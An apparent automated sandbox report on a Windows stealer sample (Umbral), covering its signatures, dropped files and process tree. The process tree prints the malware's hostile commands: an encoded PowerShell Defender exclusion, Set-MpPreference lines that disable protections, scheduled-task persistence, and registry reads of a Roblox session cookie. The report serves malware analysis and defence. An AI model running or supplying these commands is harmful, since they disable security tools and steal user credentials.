Analysis

  • user interaction
    yes
  • max time kernel
    43s
  • max time network
    46s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/09/2026, 23:34

General

  • Target
    Loader.exe
  • Size 1.1MB
  • Sample260901-3krxasfc76
  • SHA256 5ddd88a2e01fd173974d45eea41d6835ea1e0e6f89ff3165f2b49b256963961c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Umbral

    Umbral stealer is an open-source modular stealer written in C#.

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detects Umbral payload 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • ConfuserEx .NET packer 1 IoCs

    Detects ConfuserEx .NET packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAeABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAaABhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHcAZAB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAaAB1ACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:260
    • C:\Users\Admin\AppData\Roaming\affe_loader.exe
      "C:\Users\Admin\AppData\Roaming\affe_loader.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      PID:3536
    • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Disables automatic submission of suspicious files to Microsoft by Windows Defender
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1200
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks.exe" /create /tn "W8rLh96O" /tr "\"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe\"" /sc onlogon /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4808
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks.exe" /create /tn "W8rLh96O_svc" /tr "\"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe\"" /sc minute /mo 5 /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5240
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1952
  • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
    1⤵
    • Executes dropped EXE
    PID:3260
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:3372

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 250fd1562b505953bb079fe3666d695fd9ee78c4b5975f2a9a6e2bc3dc4be691
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 952B
        • SHA256 59a616a85b4c18c97628fdc91d595885cac6b00d0b8872028304b93d05cea063
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 9ecf454d8b55b7bc57249021d41b3bb8ae49c6db962c081c3fcfec87c41d5373
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_uou5tmhj.ypo.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uou5tmhj.ypo.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        RuntimeBroker.exe

        • Path C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
        • Size 458KB
        • SHA256 059344941a9b0949c40ed3c0aafc6d3d4fee8de37c638be8d59c2a0156f79d91
        • MD5 SHA1 SHA512 SSDEEP TLSH

        affe_loader.exe

        • Path C:\Users\Admin\AppData\Roaming\affe_loader.exe
        • Size 599KB
        • SHA256 e2a4bf39121b8e6c1aa71510297e40d7a008301d53f2209d302f1fd6e072d9b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/260-25-0x000001DAC72A0000-0x000001DAC72C2000-memory.dmp

        memory/260-40-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/260-47-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/260-43-0x000001DAC7540000-0x000001DAC755E000-memory.dmp

        memory/260-18-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/260-45-0x000001DAC7620000-0x000001DAC762A000-memory.dmp

        memory/260-31-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/260-32-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/260-44-0x000001DAC7560000-0x000001DAC7612000-memory.dmp

        memory/260-33-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/260-34-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/260-39-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/260-35-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/260-36-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/260-37-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/260-38-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/4300-30-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/4300-4-0x000000001B9D0000-0x000000001BADE000-memory.dmp

        memory/4300-8-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/4300-0-0x00007FFB528AF000-0x00007FFB528B0000-memory.dmp

        memory/4300-6-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/4300-7-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/4300-5-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/4300-1-0x0000000000A40000-0x0000000000B64000-memory.dmp

        memory/4300-3-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/4300-2-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

        memory/4600-59-0x00000186C9FA0000-0x00000186C9FF0000-memory.dmp

        memory/4600-61-0x00000186C9EA0000-0x00000186C9EBE000-memory.dmp

        memory/4600-58-0x00000186C9F20000-0x00000186C9F96000-memory.dmp

        memory/4600-29-0x00000186C93D0000-0x00000186C9448000-memory.dmp

        memory/4600-72-0x00000186C9EE0000-0x00000186C9EEA000-memory.dmp

        memory/4600-73-0x00000186E4F40000-0x00000186E4F52000-memory.dmp